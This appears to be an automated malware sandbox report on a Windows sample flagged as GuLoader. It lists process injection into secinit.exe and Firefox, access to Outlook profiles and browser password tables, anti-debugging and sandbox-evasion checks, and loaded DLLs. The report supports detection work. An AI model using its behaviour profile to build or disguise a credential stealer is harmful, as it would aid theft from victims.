File created: C:\Users\user\AppData\Local\Temp\nssB994.tmp

Jump to behavior

Source: fJuwM4Bwi7.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: secinit.exe, 0000000A.00000003.79359965407.0000000002828000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000003.79359811784.0000000002807000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.83832065091.0000000002828000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: fJuwM4Bwi7.exe	ReversingLabs: Detection: 52%
Source: fJuwM4Bwi7.exe	Virustotal: Detection: 55%

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

File read: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\fJuwM4Bwi7.exe "C:\Users\user\Desktop\fJuwM4Bwi7.exe"
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Process created: C:\Users\user\Desktop\fJuwM4Bwi7.exe "C:\Users\user\Desktop\fJuwM4Bwi7.exe"
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	Process created: C:\Windows\SysWOW64\secinit.exe "C:\Windows\SysWOW64\secinit.exe"
Source: C:\Windows\SysWOW64\secinit.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Process created: C:\Users\user\Desktop\fJuwM4Bwi7.exe "C:\Users\user\Desktop\fJuwM4Bwi7.exe"	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	Process created: C:\Windows\SysWOW64\secinit.exe "C:\Windows\SysWOW64\secinit.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Lumbagoen.lnk.5.dr

LNK file: ..\..\..\..\Windows\system32\scups\deployerende.emb

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

File written: C:\Users\user\AppData\Local\Temp\Settings.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\secinit.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: fJuwM4Bwi7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: fJuwM4Bwi7.exe, 00000008.00000001.78926393304.0000000000649000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: SLePhgUCFUcrYZVod.exe, 00000009.00000000.79101394291.0000000000A2E000.00000002.00000001.01000000.0000000A.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83830927716.0000000000A2E000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: secinit.pdbGCTL source: fJuwM4Bwi7.exe, 00000008.00000002.79181660044.0000000002688000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79181660044.000000000267E000.00000004.00000020.00020000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 00000009.00000002.83832206009.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: fJuwM4Bwi7.exe, 00000008.00000003.79086644486.0000000032739000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79082655954.000000003258A000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.83834030680.0000000002D2D000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 0000000A.00000003.79182431961.0000000002A53000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.83834030680.0000000002C00000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 0000000A.00000003.79178692892.00000000028A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: fJuwM4Bwi7.exe, fJuwM4Bwi7.exe, 00000008.00000003.79086644486.0000000032739000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79082655954.000000003258A000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.83834030680.0000000002D2D000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 0000000A.00000003.79182431961.0000000002A53000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.83834030680.0000000002C00000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 0000000A.00000003.79178692892.00000000028A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: fJuwM4Bwi7.exe, 00000008.00000001.78926393304.0000000000649000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: secinit.pdb source: fJuwM4Bwi7.exe, 00000008.00000002.79181660044.0000000002688000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79181660044.000000000267E000.00000004.00000020.00020000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 00000009.00000002.83832206009.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000005.00000002.79055979562.0000000004FBC000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Code function: 5_2_00406061 GetModuleHandleA,LoadLibraryA,GetProcAddress,

5_2_00406061

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 5_2_10002D30 push eax; ret	5_2_10002D5E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_328EE060 push eax; retf 0008h	8_2_328EE06D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_328EE074 pushfd ; retf	8_2_328EE075
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_328E21AD pushad ; retf 0004h	8_2_328E223F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_328E97A1 push es; iretd	8_2_328E97A8
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329108CD push ecx; mov dword ptr [esp], ecx	8_2_329108D6

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

File created: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Code function: 8_2_32951763 rdtsc

8_2_32951763

Source: C:\Windows\SysWOW64\secinit.exe

Window / User API: threadDelayed 9014

Jump to behavior

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

API coverage: 0.2 %

Source: C:\Windows\SysWOW64\secinit.exe TID: 768	Thread sleep count: 121 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 768	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 768	Thread sleep count: 9014 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 768	Thread sleep time: -18028000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\secinit.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 5_2_0040603A FindFirstFileA,FindClose,	5_2_0040603A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 5_2_004055F6 CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	5_2_004055F6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 5_2_00402645 FindFirstFileA,	5_2_00402645

Source: fJuwM4Bwi7.exe, 00000008.00000002.79181660044.000000000263E000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083772422.0000000002688000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79181660044.0000000002688000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83832592696.000000000136F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllF
Source: secinit.exe, 0000000A.00000002.83832065091.00000000027B0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000002.79471496024.000001A4E29BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	API call chain: ExitProcess graph end node			graph_5-4273
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	API call chain: ExitProcess graph end node			graph_5-4435

Source: C:\Windows\SysWOW64\secinit.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Code function: 8_2_32951763 rdtsc

8_2_32951763

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Code function: 8_2_329534E0 NtCreateMutant,LdrInitializeThunk,

8_2_329534E0

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Code function: 5_2_00406061 GetModuleHandleA,LoadLibraryA,GetProcAddress,

5_2_00406061

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32917290 mov eax, dword ptr fs:[00000030h]	8_2_32917290
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32917290 mov eax, dword ptr fs:[00000030h]	8_2_32917290
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32917290 mov eax, dword ptr fs:[00000030h]	8_2_32917290
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E289 mov eax, dword ptr fs:[00000030h]	8_2_3298E289
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290C2B0 mov ecx, dword ptr fs:[00000030h]	8_2_3290C2B0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329EB2BC mov eax, dword ptr fs:[00000030h]	8_2_329EB2BC
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329EB2BC mov eax, dword ptr fs:[00000030h]	8_2_329EB2BC
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329EB2BC mov eax, dword ptr fs:[00000030h]	8_2_329EB2BC
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329EB2BC mov eax, dword ptr fs:[00000030h]	8_2_329EB2BC
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF2AE mov eax, dword ptr fs:[00000030h]	8_2_329CF2AE
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D92AB mov eax, dword ptr fs:[00000030h]	8_2_329D92AB
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329342AF mov eax, dword ptr fs:[00000030h]	8_2_329342AF
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329342AF mov eax, dword ptr fs:[00000030h]	8_2_329342AF
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329092AF mov eax, dword ptr fs:[00000030h]	8_2_329092AF
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329432C0 mov eax, dword ptr fs:[00000030h]	8_2_329432C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329432C0 mov eax, dword ptr fs:[00000030h]	8_2_329432C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329332C5 mov eax, dword ptr fs:[00000030h]	8_2_329332C5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E32C9 mov eax, dword ptr fs:[00000030h]	8_2_329E32C9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329202F9 mov eax, dword ptr fs:[00000030h]	8_2_329202F9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329202F9 mov eax, dword ptr fs:[00000030h]	8_2_329202F9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329202F9 mov eax, dword ptr fs:[00000030h]	8_2_329202F9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329202F9 mov eax, dword ptr fs:[00000030h]	8_2_329202F9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329202F9 mov eax, dword ptr fs:[00000030h]	8_2_329202F9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329202F9 mov eax, dword ptr fs:[00000030h]	8_2_329202F9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329202F9 mov eax, dword ptr fs:[00000030h]	8_2_329202F9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329202F9 mov eax, dword ptr fs:[00000030h]	8_2_329202F9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329072E0 mov eax, dword ptr fs:[00000030h]	8_2_329072E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3291A2E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3291A2E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3291A2E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3291A2E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3291A2E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3291A2E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329182E0 mov eax, dword ptr fs:[00000030h]	8_2_329182E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329182E0 mov eax, dword ptr fs:[00000030h]	8_2_329182E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329182E0 mov eax, dword ptr fs:[00000030h]	8_2_329182E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329182E0 mov eax, dword ptr fs:[00000030h]	8_2_329182E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290D2EC mov eax, dword ptr fs:[00000030h]	8_2_3290D2EC
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290D2EC mov eax, dword ptr fs:[00000030h]	8_2_3290D2EC
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290821B mov eax, dword ptr fs:[00000030h]	8_2_3290821B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299B214 mov eax, dword ptr fs:[00000030h]	8_2_3299B214
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299B214 mov eax, dword ptr fs:[00000030h]	8_2_3299B214
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290A200 mov eax, dword ptr fs:[00000030h]	8_2_3290A200
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32930230 mov ecx, dword ptr fs:[00000030h]	8_2_32930230
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32990227 mov eax, dword ptr fs:[00000030h]	8_2_32990227
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32990227 mov eax, dword ptr fs:[00000030h]	8_2_32990227
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32990227 mov eax, dword ptr fs:[00000030h]	8_2_32990227
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294A22B mov eax, dword ptr fs:[00000030h]	8_2_3294A22B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294A22B mov eax, dword ptr fs:[00000030h]	8_2_3294A22B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294A22B mov eax, dword ptr fs:[00000030h]	8_2_3294A22B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F24A mov eax, dword ptr fs:[00000030h]	8_2_3293F24A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF247 mov eax, dword ptr fs:[00000030h]	8_2_329CF247
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B273 mov eax, dword ptr fs:[00000030h]	8_2_3290B273
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B273 mov eax, dword ptr fs:[00000030h]	8_2_3290B273
